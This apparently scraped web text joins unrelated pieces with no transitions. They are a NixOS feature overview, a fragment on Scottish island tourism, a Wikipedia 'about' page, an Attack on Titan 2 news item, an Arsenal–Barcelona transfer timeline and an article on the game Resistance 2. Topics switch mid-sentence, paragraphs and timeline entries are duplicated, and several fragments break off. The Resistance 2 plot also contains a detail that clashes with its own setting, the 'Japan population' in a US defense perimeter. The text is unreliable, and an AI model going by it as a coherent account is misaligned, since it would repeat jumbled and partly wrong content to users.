NixOS has a transactional approach to configuration management: configuration changes such as upgrades are atomic. This means that if the upgrade to a new configuration is interrupted — say, the power fails half-way through — the system will still be in a consistent state: it will either boot in the old or the new configuration. In most other systems, you’ll end up in an inconsistent state, and your machine may not even boot anymore.
Rollbacks
Because the files of a new configuration don’t overwrite old ones, you can (atomically) roll back to a previous configuration. For instance, if after a nixos-rebuild switch you discover that you don’t like the new configuration, you can just go back:
$ nixos-rebuild switch --rollback
In fact, all old system configurations automatically show up in the Grub boot menu. So if the new configuration crashes or doesn’t boot properly, you can just roll back by selecting an older configuration in the Grub boot menu. Rollbacks are very fast: it doesn’t involve lots of files having to be restored from copies.
Reproducible system configurations
NixOS’ declarative configuration model makes it easy to reproduce a system configuration on another machine (for instance, to test a change in a test environment before doing it on the production server). You just copy the configuration.nix file to the target NixOS machine and run nixos-rebuild switch. This will give you the same configuration (kernel, applications, system services, and so on) except for ‘mutable state’ (such as the stuff that lives in /var ).
Safe to test changes
NixOS makes it safe to test potentially dangerous changes to the system, because you can always roll back. (Unless you screw up the boot loader, that is…) For instance, whether the change is as simple as enabling a system service, or as large as rebuilding the entire system with a new version of Glibc, you can test it by doing:
$ nixos-rebuild test
This builds and activates the new configuration, but doesn’t make it the boot default. Thus, rebooting the system will take you back to the previous, known-good configuration.
An even nicer way to test changes is the following:
$ nixos-rebuild build-vm $./result/bin/run-*-vm
This builds and starts a virtual machine that contains the new system configuration (i.e. a clone of the configuration of the host machine, with any changes that you made to configuration.nix ). The VM doesn’t share any data with the host, so you can safely experiment inside the VM. The build-vm command is very efficient (it doesn’t require a disk image for the VM to be created), so it’s a very effective way to test changes.
Source-based model, with binaries
The Nix build language used by NixOS specifies how to build packages from source. This makes it easy to adapt the system — just edit any of the ‘Nix expressions’ for NixOS or Nixpkgs in /etc/nixos, and run nixos-rebuild. However, building from source is also slow. Therefore Nix automatically downloads pre-built binaries from nixos.org if they are available. This gives the flexibility of a source-based package management model with the efficiency of a binary model.
Consistency
The Nix package manager ensures that the running system is ‘consistent’ with the logical specification of the system, meaning that it will rebuild all packages that need to be rebuilt. For instance, if you change the kernel, Nix will ensure that external kernel modules such as the NVIDIA driver will be rebuilt as well — so you never run into an X server that mysteriously fails to start after a kernel security upgrade. And if you update the OpenSSL library, Nix ensures that all packages in the system use the new version, even packages that statically link against OpenSSL.
Multi-user package management
On NixOS, you do not need to be root to install software. In addition to the system-wide ‘profile’ (set of installed packages), all user have their own profile in which they can install packages. Nix allows multiple versions of a package to coexist, so different users can have different versions of the same package installed in their respective profiles. If two users install the same version of a package, only one copy will be built or downloaded, and Nix’s security model ensures that this is secure. Users cannot install setuid binaries.
How does NixOS work? NixOS is based on Nix, a purely functional package management system. Nix stores all packages in isolation from each other under paths such as /nix/store/5rnfzla9kcx4mj5zdc7nlnv8na1najvg-firefox-3.5.4/ The string 5rnf... is a cryptographic hash of all input used to build the package. Packages are never overwritten after they have been built; instead, if you change the build description of a package (its ‘Nix expression’), it’s rebuilt and installed in a different path in /nix/store so it doesn’t interfere with the old version. NixOS extends this by using Nix not only to build packages, but also things like configuration files. For instance, the configuration of the SSH daemon is also built from a Nix expression and stored under a path like /nix/store/s2sjbl85xnrc18rl4fhn56irkxqxyk4p-sshd_config By building entire system configurations from a Nix expression, NixOS ensures that such configurations don’t overwrite each other, can be rolled back, and so on. A big implication of the way that Nix/NixOS stores packages is that there is no /bin, /sbin, /lib, /usr, and so on. Instead all packages are kept in /nix/store. (The only exception is a symlink /bin/sh to Bash in the Nix store.) Not using ‘global’ directories such as /bin is what allows multiple versions of a package to coexist. Nix does have a /etc to keep system-wide configuration files, but most files in that directory are symlinks to generated files in /nix/store.
Status NixOS is available for download. Since NixOS is a relatively young Linux distribution, you may find that certain things that you need are missing (e.g., certain packages or support for specific hardware), so you may need to add those yourself. Here are some highlights of what NixOS currently provides: NixOS provides a complete X11/Plasma 5 desktop environment. Other window managers and part of Gnome are also available.
NixOS uses systemd to manage system services. It supports quite a few services (e.g., Apache HTTPD, PostgreSQL, and Tomcat) that can be configured declaratively through configuration.nix.
. NixOS build on the Nix Packages collection (Nixpkgs), which provides Nix expressions for over 40 000 packages that you can install under NixOS.
NixOS has automatic hardware detection: the boot process loads kernel modules for all known devices automatically. It also has CUPS for printing, support for various wireless cards, and so on.
NixOS currently runs on 32-bit and 64-bit x86 machines ( i686-linux and x86_64-linux ), and experimentally on ARM.They are some of Scotland’s most spectacular locales that are proving increasingly popular with holidaymakers who realise there is no need to jet off to foreign climes in order to enjoy unspoilt beaches and stunning vistas.
Accommodation providers on some the nation’s best-known islands have reported a boom in bookings for the first six months of 2016.
The spike in interest suggests tourists are turning their backs on traditionally
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Strengths, weaknesses, and article quality in Wikipedia
Wikipedia's greatest strengths, weaknesses, and differences all arise because it is open to anyone, it has a large contributor base, and its articles are written by consensus, according to editorial guidelines and policies.
Wikipedia is open to a large contributor base, drawing a large number of editors from diverse backgrounds. This allows Wikipedia to significantly reduce regional and cultural bias found in many other publications, and makes it very difficult for any person or group to censor and impose bias. A large, diverse editor base also provides access and breadth on subject matter that is otherwise inaccessible or little documented. A large number of editors contributing at any moment also means that Wikipedia can produce encyclopedic articles and resources covering newsworthy events within hours or days of their occurrence. It also means that like any publication, Wikipedia may reflect the cultural, age, socio-economic, and other biases of its contributors. There is no systematic process to make sure that "obviously important" topics are written about, so Wikipedia may contain unexpected oversights and omissions. While most articles may be altered by anyone, in practice editing will be performed by a certain demographic (younger rather than older, male rather than female, rich enough to afford a computer rather than poor, et cetera) and may, therefore, show some bias. Some topics may not be covered well, while others may be covered in great depth.
, drawing a large number of editors from diverse backgrounds. This allows Wikipedia to significantly reduce regional and cultural bias found in many other publications, and makes it very difficult for any person or group to censor and impose bias. A large, diverse editor base also provides access and breadth on subject matter that is otherwise inaccessible or little documented. A large number of editors contributing at any moment also means that Wikipedia can produce encyclopedic articles and resources covering newsworthy events within hours or days of their occurrence. It also means that like any publication, Wikipedia may reflect the cultural, age, socio-economic, and other biases of its contributors. There is no systematic process to make sure that "obviously important" topics are written about, so Wikipedia may contain unexpected oversights and omissions. While articles may be altered by anyone, in practice editing will be performed by a certain demographic (younger rather than older, male rather than female, rich enough to afford a computer rather than poor, et cetera) and may, therefore, show some bias. Some topics may not be covered well, while others may be covered in great depth. Allowing anyone to edit Wikipedia means that it is more easily vandalized or susceptible to unchecked information, which requires removal. See Wikipedia:Administrator intervention against vandalism. While blatant vandalism is usually easily spotted and rapidly corrected, Wikipedia is more subject to subtle viewpoint promotion than a typical reference work. However, bias that would be unchallenged in a traditional reference work is likely to be ultimately challenged or considered on Wikipedia. While Wikipedia articles generally attain a good standard after editing, it is important to note that fledgling articles and those monitored less well may be susceptible to vandalism and insertion of false information. Wikipedia's radical openness also means that any given article may be, at any given moment, in a bad state, such as in the middle of a large edit, or a controversial rewrite. Many contributors do not yet comply fully with key policies, or may add information without citable sources. Wikipedia's open approach tremendously increases the chances that any particular factual error or misleading statement will be relatively promptly corrected. Numerous editors at any given time are monitoring recent changes and edits to articles on their watchlists.
Wikipedia means that it is more easily vandalized or susceptible to unchecked information, which requires removal. See Wikipedia:Administrator intervention against vandalism. While blatant vandalism is usually easily spotted and rapidly corrected, Wikipedia is more subject to subtle viewpoint promotion than a typical reference work. However, bias that would be unchallenged in a traditional reference work is likely to be ultimately challenged or considered on Wikipedia. While Wikipedia articles generally attain a good standard after editing, it is important to note that fledgling articles and those monitored less well may be susceptible to vandalism and insertion of false information. Wikipedia's radical openness also means that any given article may be, at any given moment, in a bad state, such as in the middle of a large edit, or a controversial rewrite. Many contributors do not yet comply fully with key policies, or may add information without citable sources. Wikipedia's open approach tremendously increases the chances that any particular factual error or misleading statement will be relatively promptly corrected. Numerous editors at any given time are monitoring recent changes and edits to articles on their watchlists. Wikipedia is written by open and transparent consensus —an approach that has its pros and cons. Censorship or imposing "official" points of view is extremely difficult to achieve and usually fails after a time. Eventually for most articles, all notable views become fairly described and a neutral point of view reached. In reality, the process of reaching consensus may be long and drawn-out, with articles fluid or changeable for a long time while they find their "neutral approach" that all sides can agree on. Reaching neutrality is occasionally made harder by extreme-viewpoint contributors. Wikipedia operates a full editorial dispute resolution process, one that allows time for discussion and resolution in depth, but one that also permits disagreements to last for months before poor-quality or biased edits are removed. A common conclusion is that Wikipedia is a valuable resource and provides a good reference point on its subjects.
—an approach that has its pros and cons. Censorship or imposing "official" points of view is extremely difficult to achieve and usually fails after a time. Eventually for most articles, all notable views become fairly described and a neutral point of view reached. In reality, the process of reaching consensus may be long and drawn-out, with articles fluid or changeable for a long time while they find their "neutral approach" that all sides can agree on. Reaching neutrality is occasionally made harder by extreme-viewpoint contributors. Wikipedia operates a full editorial dispute resolution process, one that allows time for discussion and resolution in depth, but one that also permits disagreements to last for months before poor-quality or biased edits are removed. A common conclusion is that Wikipedia is a valuable resource and provides a good reference point on its subjects. That said, articles and subject areas sometimes suffer from significant omissions, and while misinformation and vandalism are usually corrected quickly, this does not always happen. (See for example this incident in which a person inserted a fake biography linking a prominent journalist to the Kennedy assassinations and Soviet Russia as a joke on a co-worker which went undetected for four months, saying afterwards he "didn’t know Wikipedia was used as a serious reference tool".)
Wikipedia is written largely by amateurs. Those with expert credentials are given no additional weight. Wikipedia is also not subject to any peer review for scientific, medical or engineering articles. One advantage to having amateurs write in Wikipedia is that they have more free time on their hands so that they can make rapid changes in response to current events. The wider the general public interest in a topic, the more likely it is to attract contributions from non-specialists.
The MediaWiki software that runs Wikipedia retains a history of all edits and changes, thus information added to Wikipedia never "vanishes" irreversibly. Discussion pages are an important resource on contentious topics. Therefore, serious researchers can often find a wide range of vigorously or thoughtfully advocated viewpoints not present in the consensus article. As with any source, information should be checked. A 2005 editorial by a BBC technology writer comments that these debates are probably symptomatic of cultural changes that are happening across all sources of information (including search engines and the media), and may lead to "a better sense of how to evaluate information sources".[3]
Disclaimers
Wikipedia disclaimers apply to all pages on Wikipedia. However, the consensus in Wikipedia is to put all disclaimers only as links and at the end of each article. Proposals to have a warning box at the beginning have been rejected. Some do not like the way it looks or that it calls attention to possible errors in Wikipedia.
Wikipedia, in common with many websites, has a disclaimer that, at times, has led to commentators citing these in order to support a view that Wikipedia is unreliable. A selection of similar disclaimers from places which are often regarded as reliable (including sources such as Encyclopædia Britannica, Associated Press, and the Oxford English Dictionary) can be read and compared at Wikipedia:Non-Wikipedia disclaimers.
Contributing to Wikipedia
A downloadable "Editing Wikipedia guide" in PDF form written by the staff at the Wikimedia Foundation
Anyone can contribute to Wikipedia by clicking on the Edit tab in an article. Before beginning to contribute, however, read some handy helping tools such as the tutorial and the policies and guidelines, as well as our welcome page. offers many benefits. It is important to realize that in contributing to Wikipedia, users are expected to be civil and neutral, respecting all points of view, and only add verifiable and factual information rather than personal views and opinions. "The five pillars of Wikipedia" cover this approach and are recommended reading before editing. (Vandals are reported via the Administrator Notice Board and may be temporarily blocked from editing Wikipedia.)
Most articles start as stubs, but after many contributions, they can become featured articles. Once the contributor has decided a topic of interest, they may want to request that the article be written (or they could research the issue and write it themselves). Wikipedia has on-going projects, focused on specific topic areas or tasks, which help coordinate editing.
The ease of editing Wikipedia results in many people editing. That makes the updating of the encyclopedia very quick, almost as fast as news websites.
Editing Wikipedia pages
(3:07 min) Editing tutorial for Wikipedia using classic wiki markup.
Wikipedia uses a simple yet powerful page layout to allow editors to concentrate on adding material rather than page design. Page aspects facilitated include:
Normally editing is chosen by clicking the Edit tab at the top of a Wikipedia page (or on a section-edit link). This will take you to a new page with a text box containing the editable text of the page you were viewing. In this box, you can type in the text that you want to add, using wiki markup to format the text and add other elements like images and tables. You should then press the Show preview button to review your contributions for any errors. When you have finished editing, you should write a short edit summary in the small field below the edit-box describing your changes before you press the Publish changes button. This will help others to understand the intention of your edit. To avoid accidentally leaving edit summaries blank, you can select "Prompt me when entering a blank edit summary" on the Edit tab of your personal preferences.
Page editing is accessed through tabs that are found along the top edge of the page. These are:
Article. Shows the main Wikipedia article.
Shows the main Wikipedia article. Talk. Shows a user discussion about the article's topic and possible revisions, controversies, etc.
Shows a user discussion about the article's topic and possible revisions, controversies, etc. Edit. This tab allows users to edit the article. Depending on the page’s susceptibility to vandalism, according to its visibility or the degree of controversy surrounding the topic, this tab may not be shown for all users. (For example, any user who is not an administrator will not be able to edit the Main Page.)
This tab allows users to edit the article. Depending on the page’s susceptibility to vandalism, according to its visibility or the degree of controversy surrounding the topic, this tab may not be shown for all users. (For example, any user who is not an administrator will not be able to edit the Main Page.) View history. This tab allows readers to view the editors of the article and the changes that have been made.
This tab allows readers to view the editors of the article and the changes that have been made. Star. ("Watch") If you are logged into your account, clicking on the star icon will cause any changes made to the article to be displayed on the watchlist. (Note: when this icon is clicked, it changes to a filled-in star.)
Wikipedia has robust version and reversion controls. This means that poor-quality edits or vandalism can quickly and easily be reversed or brought up to an appropriate standard by any other editor, so inexperienced editors cannot accidentally do permanent harm if they make a mistake in their editing. As there are many more editors intent on improving articles than not, error-ridden articles are usually corrected promptly.
Wikipedia content criteria
Wikipedia content is intended to be factual, notable, verifiable with cited external sources, and neutrally presented.
The appropriate policies and guidelines for these are found at:
Wikipedia:What Wikipedia is not, which summarizes what belongs in Wikipedia and what does not; Wikipedia:Neutral point of view, which describes Wikipedia's mandatory core approach to neutral, unbiased article-writing; Wikipedia:No original research, which prohibits the use of Wikipedia to publish personal views and original research of editors and defines Wikipedia's role as an encyclopedia of existing recognized knowledge; Wikipedia:Verifiability, which explains that it must be possible for readers to verify all content against credible external sources (following the guidance in the Wikipedia:Risk disclaimer that is linked-to at the end of every article); Wikipedia:Reliable sources, which explains what factors determine whether a source is acceptable; Wikipedia:Citing sources, which describes the manner of citing sources so that readers can verify content for themselves; And Wikipedia:Manual of Style, which offers a style guide—in general editors tend to acquire knowledge of appropriate writing styles and detailed formatting over time.
These are often abbreviated to WP:NOT, WP:NPOV, WP:NOR, WP:V, WP:RS, WP:CITE, and WP:MOS respectively.
Editorial administration, oversight, and management
Video guided tour #2: Why does Wikipedia work even though anyone can edit it?
The Wikipedia community is largely self-organising, so that anyone may build a reputation as a competent editor and become involved in any role s/he may choose, subject to peer approval. Individuals often will choose to become involved in specialised tasks, such as reviewing articles at others' request, watching current edits for vandalism, watching newly created articles for quality control purposes, or similar roles. Editors who believe they can serve the community better by taking on additional administrative responsibility may ask their peers for agreement to undertake such responsibilities. This structure enforces meritocracy and communal standards of editorship and conduct. At present a minimum approval of 75–80% from the community is required to take on these additional tools and responsibilities. This standard tends to ensure a high level of experience, trust, and familiarity across a broad front of aspects within Wikipedia.
A variety of software-assisted systems and automated programs help editors and administrators to watch for problematic edits and editors. Theoretically all editors and users are treated equally with no "power structure". There is, however, a hierarchy of permissions and positions, some of which are listed hereafter:
Anyone can edit most of the articles here. Some articles are protected because of vandalism or edit-warring, and can only be edited by certain editors. Anyone with an account that has been registered for four days or longer and has made at least ten edits becomes autoconfirmed, and gains the technical ability to do five things that non-autoconfirmed editors cannot: Create pages.
Move pages.
Edit semi-protected pages.
Upload files.
Vote in certain elections (minimum edit count to receive suffrage varies depending on the election). Many editors with accounts obtain access to certain tools that make editing easier and faster. Few editors learn about most of those tools, but one common privilege granted to editors in good standing is "rollback", which is the ability to undo edits more easily. Administrators ("admins" or "sysops") have been approved by the community, and have access to some significant administrative tools. They can delete articles, block accounts or IP addresses, and edit fully protected articles. Bureaucrats are chosen in a process similar to that for selecting administrators. There are not very many bureaucrats. They have the technical ability to add or remove admin rights and approve or revoke "bot" privileges. The Arbitration Committee is analogous to Wikipedia's supreme court. They deal with disputes that remain unresolved after other attempts at dispute resolution have failed. Members of this Committee are elected by the community and tend to be selected from among the pool of experienced admins. Stewards hold the top echelon of community permissions. Stewards can do a few technical things, and one almost never hears much about them since they normally only act when a local admin or bureaucrat is not available, and hence almost never on the English Wikipedia. There are very few stewards. Jimmy Wales, the founder of Wikipedia, has several special roles and privileges. In most instances, however, he does not expect to be treated differently than any other editor or administrator.
Handling disputes and abuse
Wikipedia has a rich set of methods to handle most abuses that commonly arise. These methods are well-tested and should be relied upon.
In addition, new users may initially find that their votes are given less weight by editors in some informal polls in order to prevent abuse of single-purpose accounts.
Editorial quality review
As well as systems to catch and control substandard and vandalistic edits, Wikipedia also has a full style and content manual and a variety of positive systems for continual article review and improvement. Examples of the processes include peer review, good article assessment, and the featured article process, a rigorous review of articles that are intended to meet the highest standards and showcase Wikipedia's capability to produce high-quality work.
In addition, specific types of article or fields often have their own specialized and comprehensive projects, assessment processes (such as biographical article assessment), and expert reviewers within specific subjects. Nominated articles are also frequently the subject of specific focus on the neutral point of view noticeboard or in WikiProject Cleanup.
Technical attributes
Wikipedia uses MediaWiki software, the open-source program used not only on Wikimedia projects but also on many other third-party websites. The hardware supporting the Wikimedia projects is based on several hundred servers in various hosting centers around the world. Full descriptions of these servers and their roles are available on this Meta-Wiki page. For technical information about Wikipedia, check Technical FAQ. Wikipedia publishes various types of metadata; and, across its pages, are many thousands of microformats.
Feedback and questions
Wikipedia is run as a communal effort. It is a community project whose result is an encyclopedia. Feedback about content should, in the first instance, be raised on the discussion pages of those articles. Be bold and edit the pages to add information or correct mistakes.
Frequently asked questions (FAQ)
Static help
The Help:Contents may be accessed by clicking help displayed under the ► Interaction tab at the top left of all pages.
Help:Menu—is a menu-style page that will direct you to the right place to find information.
Help:Directory—is a descriptive listing of all Wikipedia's informative, instructional and consultation pages.
Giving feedback
There is an established escalation-and-dispute process within Wikipedia, as well as pages designed for questions, feedback, suggestions, and comments. For a full listing of the services and assistance that can be requested on Wikipedia, see Wikipedia:Request directory.
Talk pages—the associated discussion page for discussion of an article or policy's contents (usually the first place to go)
Wikipedia:Vandalism—a facility for reporting vandalism (but fix vandalism as well as report it)
Dispute resolution—the procedure for handling disputes that remain unresolved within an article's talk space
Village pump—the Wikipedia discussion area, part of the Community portal
Wikipedia:Contact us
See also:
Bug tracker—a facility for reporting problems with the Wikipedia website or the MediaWiki software that runs it
Village pump: proposals page—a place for making non-policy suggestions
Wikipedia:Help desk—Wikipedia's general help desk, if other pages have not answered the query
Research help and similar questions
Facilities to help users researching specific topics can be found at:
Wikipedia:Requested articles—to suggest or request new articles.
Wikipedia:Reference desk—to ask for help with any questions, or in finding specific facts.
Wikipedia:Researching with Wikipedia—for information on using Wikipedia as a research tool.
Because of the nature of Wikipedia, it is encouraged that people looking for information should try to find it themselves in the first instance. If, however, information is found to be missing from Wikipedia, be bold and add it so others can gain.
Community discussion
For a listing of ongoing discussions and current requests, see the dashboard. For specific discussion not related to article content or editor conduct, see the Village pump, which covers such subjects as milestone announcements, policy and technical discussion, and information on other specialized portals such as the help, reference and peer review desks. The Community portal is a centralized place to find things to do, collaborations, and general editing help information, and find out what is happening. The Signpost, a community-edited newspaper, has recent news regarding Wikipedia, its sister projects, and the Wikimedia Foundation.
To contact individual contributors, leave a message on their talk page. Standard places to ask policy and project-related questions are the Village pump, online, and the Wikipedia mailing lists, over e-mail. Reach other Wikipedians via IRC and e-mail.
In addition, the Wikimedia Foundation Meta-Wiki is a site for coordinating the various Wikipedia projects and sister projects (and abstract discussions of policy and direction). Also available are places for submitting bug reports and feature requests.
For a full list of contact options, see Wikipedia:Questions.
Other languages
Sister projects
Wikipedia is hosted by the Wikimedia Foundation, a non-profit organization that also hosts a range of other projects:
Please note that while other sites may also use MediaWiki software and therefore look similar to Wikipedia, or may have a name that includes “Wiki-” or “-pedia”, or a similar domain name, the only projects which are part of the Wikimedia Foundation are those listed above and Wikipedia, even if other projects claim to be part of it.
See also
References
Further readingKoei Tecmo have confirmed that Attack on Titan 2 will be releasing this coming March. Having narrowed the release window down somewhat, the company — during a recent live-stream — also showcased some of the sequel’s new features with players now having the ability to make their own custom scout whom can then engage with the series’ characters in a new mode dubbed Town Life.
In Town Life, players can build relationships — discovering more about individual characters through separate back-stories and conversations — as well as train in-between major battles that together with optional challenges and side objectives, can increase your character’s strengths and abilities. The sequel also boasts three times the number of playable characters this time round with a roster featuring 30 characters, compared to the original’s roster of just 10.
Attack on Titan 2 will be available for PS4, Xbox One, Switch & PC. You can catch up on the live-stream in the video below.This article was first published on Arsenal Report on July 13th, 2012.
In 2009 the media tap-up circus from Barcelona went into fifth gear as the Catalans became desperate to win back the heart (and signature) of a player they didn’t care about ten years earlier. It’s important we all remember what went on between Barcelona and Arsenal as it shows not only what kind of club we’re dealing with on a regular basis, but also how Arsenal were disrespected and belittled for years just for wanting to keep our best players.
Barcelona are the club we have dealt with the most in the transfer market. As of 2012 we’ve made ten separate deals with Barca. It started with selling Marc Overmars and Emmanuel Petit for a combined £32m. We then signed Fabregas in 2003-2004 and sold Giovanni van Bronckhorst the season after that. Fran Merida, Thierry Henry and Alexander Hleb followed, and the most recent deals include Jon Toral and Hector Bellerin.
It’s safe to assume we will continue dealing with Barcelona in the future, although the following timeline will certainly show we shouldn’t be doing business with them at any level.
Prepare to be annoyed:
11 September 2003 After failing to guarantee first team opportunities, and not working hard enough to keep him, Barcelona lose Cesc Fabregas to Arsenal where he makes his first team debut 40 days later in a Carling Cup match against Rotherham United.
After failing to guarantee first team opportunities, and not working hard enough to keep him, Barcelona lose Cesc Fabregas to Arsenal where he makes his first team debut 40 days later in a Carling Cup match against Rotherham United. 2 October 2009 Xavi coins the now legendary phrase “He is a football player with Barça DNA” about Cesc Fabregas in an interview with El Mundo Deportivo.
Xavi coins the now legendary phrase “He is a football player with Barça DNA” about Cesc Fabregas in an interview with El Mundo Deportivo. 26 December 2009 In a response to Joan Laporta claiming he wants to enter talks with Arsenal over Fabregas, chairman Peter Hill-Wood responds in an interview with the Daily Star, saying: “I am really pissed off with Barcelona and all that nonsense. It is not the first time they have done this and it is a most disrespectful and tiresome thing to do. You would think there would be some action you could take against them, but I suppose you cannot stop the man shooting his mouth off.”
In a response to Joan Laporta claiming he wants to enter talks with Arsenal over Fabregas, chairman Peter Hill-Wood responds in an interview with the Daily Star, saying: “I am really pissed off with Barcelona and all that nonsense. It is not the first time they have done this and it is a most disrespectful and tiresome thing to do. You would think there would be some action you could take against them, but I suppose you cannot stop the man shooting his mouth off.” 31 March 2010 Arsenal chairman Peter Hill-Wood reveals to ESPN that “There was a private conversation that took place in the boardroom and assurances have been made at the highest possible level that Barcelona would not move for Fabregas when the summer transfer window opened.” He also added “Arsenal do not expect those assurances to be broken.”
Arsenal chairman Peter Hill-Wood reveals to ESPN that “There was a private conversation that took place in the boardroom and assurances have been made at the highest possible level that Barcelona would not move for Fabregas when the summer transfer window opened.” He also added “Arsenal do not expect those assurances to be broken.” 14 April 2010 In an interview with the Daily Express, Lionel Messi is quoted saying “Cesc has a place for Arsenal in his heart, but he has Barcelona in his blood. He will want to win win the biggest prizes in football, and I expect him to do that at Barcelona. I
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and more advanced alien technology. Unlike the first game, where there was no limit on the number of weapons carried, Resistance 2 limited the player to only two weapons at any given time, as well as a more limited number of grenades. Resistance 2 also does not use a health bar in the single player campaign as it did in the first, but instead it uses an automatic regenerative health system, whereby players must keep out of the line of fire in order to recover health.
Multiplayer [ edit ]
Resistance 2 features multiplayer in two variations. Both multiplayer modes track the player's performance, gaining experience and leading to benefits and rewards, as well as assigning the player a skill ranking.
Resistance 2 does not offer co-op for the single player campaign. Cooperative mode features a separate campaign mode set in 1952-53 in the gap in the time line of the single-player campaign. The cooperative campaign supports anything from two to eight players, taking the role of a special forces group called "Spectre Team". Players are tasked with many randomized objectives around the map, while defeating hordes of Chimera in the process. The strength of the enemy forces is altered based on the number of players and their skill levels. There are three classes to choose from: Special Ops — long-distance damage dealers, who also provide ammunition; Soldiers — the "tanks" who endure the most damage; and Medics — who drain life from enemies and impart to teammates.
Competitive mode features support for up to 60 players during the Skirmish mode;[2] which allowed for the greatest number of players in an online PlayStation 3 game at the time of release, but was last surpassed by MAG. Five games modes are available: Deathmatch, Team Deathmatch, Core Control (Capture the Flag), Skirmish, and released via update, Meltdown. Skirmish has players getting split up into squads of five and take part in objective-based proxy-battles. Players can play as either the Humans or the Chimerans (but due to updates, the player can now be a Cloven, a Female Ranger, or a Ravager), and get to choose their weapon loadout before and during a game while respawning.
Many weapons make a return from the original, most notably the Carbine, Bullseye, Fareye, Auger, Rossmore and LAARK (although this can be only accessed through a berserk). However, the Arc Charger and Dragon did not return, and were instead replaced with the Bellock, Wraith, Splicer and Pulse Cannon. The addition of berserks is a new feature, and can only be accessed if the player reaches a required XP during a game through kills. The berserks give players an additional advantage such as a new weapon or added health but only for a short period of time.
There are a variety of campaign based maps featuring maps of different sizes (10p, 20p, 40p, 60p) with the player choosing their preference. Custom games also made a return, although unlike Resistance: Fall of Man, players cannot receive XP in custom games. The ranking system is also identical to that of Resistance: Fall of Man, with players progressing through 20 ranks with three tiers each from private up to supreme commander (making a total of 60 ranks). As some ranks are gained, players receive unlockables such as different berserks and skins.
In 2014, Sony stated they would shut down the online servers for the Resistance trilogy on March 28. From then on, online multiplayer would be disabled. However, the single player/story mode and offline co-op campaigns are still available to play.[3]
Plot [ edit ]
Following the events of the first Resistance, soldiers from the Special Research Projects Administration (SRPA), led by Major Richard Blake, take custody of Sgt. Nathan Hale. They transport him to an American black site in Iceland, but are soon shot down by Chimeran forces. In a desperate move, Blake releases "Daedalus", a Chimeran leader, ignoring warnings that he cannot be controlled. Daedalus soon escapes and the SRPA are forced to abandon their base. Blake then explains to Hale that he is part of "Project Abraham", a covert effort to create human soldiers infused with the Chimera virus, known as Sentinels. Two years later, Hale is promoted to Lieutenant and given command of Echo Squad, consisting of Sergeant Ben Warner, Specialist Aaron Hawthorne, and Corporal Joseph Capelli.
The Chimeran invasion of the United States.
On May 15, 1953, a Chimeran armada launches an invasion of the United States, overwhelming most of its remaining populated cities. Among the targets is an underwater SRPA outpost in San Francisco, where Hale is scheduled to undergo inhibitor treatment to prevent the Chimera virus completely taking him over. With Blake providing backup, Hale oversees a full evacuation and retrieves inhibitor samples for the Sentinels. The survivors retreat to the Midwest, where they track a damaged Chimeran flagship to Orick, California. Stealing an enemy transport, Hale boards the ship and steals intel while Echo Squad sets explosives to destroy it. Using the intel, they learn that the Chimera are planning to attack the SRPA's Liberty Defense Perimeter in Twin Falls, Idaho. Just as the fleet is set to begin its assault, the Sentinels activate two defense towers, resulting in an artillery barrage that breaks the offensive. Defying orders to return for needed treatment, Hale takes a squad to "Station Genesis", a Chimeran tower in Bryce Canyon, Utah, where an SRPA expedition led by Russian doctor Fyoder Malikov has been massacred by Daedalus's troops. Extracting Malikov, Hale discovers Daedalus's true identity: he was once Private Jordan Shepherd, one of the first Sentinels. Shepherd had been injected with pure Chimeran DNA, which quickly overwhelmed his weakened immune system and mutated him into an Angel. Malikov also warns Hale that the same will eventually happen to him unless he receives treatment.
With his condition worsening, Hale orders an attack on Chicago, where the Chimera have begun to restart their network of towers. Malikov successfully disables the tower, but Daedalus is able to reboot it from his command center in Iceland. SRPA forces attempt to breach the tower, but are quickly beaten back with heavy casualties. Against Blake's order to retreat, Echo Squad enters the tower and initiates a manhunt for Daedalus, during which both Hawthorne and Warner are ambushed and killed. Hale himself sustains a near-fatal wound to his chest, but Capelli gets him to safety in time. Six weeks later, Malikov informs Hale that his condition has become irreversible, and that he only has a few hours left before the infection consumes him. Capelli arrives with news that the Chimera under Daedalus have entered the Midwest, killing 80 million survivors and forcing the remaining 3 million to evacuate to a poorly supplied refugee camp in Louisiana. With Daedalus's army converging on the Chicxulub Crater in the Yucatan Peninsula for unknown reasons, Hale, Capelli, and Blake infiltrate his ship with a nuclear warhead, hoping to detonate it near the central reactor and trigger an explosion that wipes out the entire fleet. Unfortunately, Blake and his team are intercepted and killed by the Chimera, who take the bomb to Daedalus. Entering the core, Hale kills him via electrocution; while examining the corpse, he inadvertently absorbs Daedalus's psychokinetic abilities. After priming the bomb, Hale escapes with Capelli as the Chimeran ships are destroyed.
After their escape vessel crashes, Capelli awakens and finds Hale, fully succumbed to the Chimeran virus, gazing upon several planet-like structures floating in the sky. Realizing that he has no other choice, Capelli executes him with a single shot.
Development [ edit ]
Beta phase [ edit ]
Insomniac announced they were running a Public Beta in October 2008. One of the ways to give consumers access to the beta involved a pre-order program through GameStop. Gamers who reserved their copy from GameStop received a card that contained a beta registration code. Once registered through the official site, the beta voucher was emailed to the address provided. Users could then download and install their beta from the PlayStation Store. The Public Beta was available from October 24 to October 29. It included three multiplayer maps - San Francisco, Orick (California), and Chicago - and could be played in the 8-player co-op campaign and the 60-player online multiplayer.
Marketing [ edit ]
Nathan Hale as he appeared at Project Abraham.com. Played by Travis Willingham
Project Abraham [ edit ]
The marketing campaign for Resistance 2 centered around an alternate reality game named Project Abraham, a top-secret military project under the jurisdiction of the U.S. Department of War.
Initially, specific details on the nature and purpose of the project were bare and mysterious, though additional content was added to the website (in concurrence with the project's latest developments) that reveals the purpose of the project. It was revealed to be a research initiative designed to eradicate the Chimera virus that is currently infecting Europeans by the millions. It lasts over the next two months, with a SRPA team of biochemical experts formulating several permutations of serums to be used on human volunteers in an attempt to discover the vaccine against the plague. The findings were ultimately inconclusive. Other purposes are to learn more about and better understand the virus. The next phase of the project is to collect all the immune soldiers together as an elite super-soldier task force code-named "Sentinels", dedicated to fighting off the impending Chimera invasion while the bulk of the Japan population is safely secured in the Liberty Defense Perimeter.
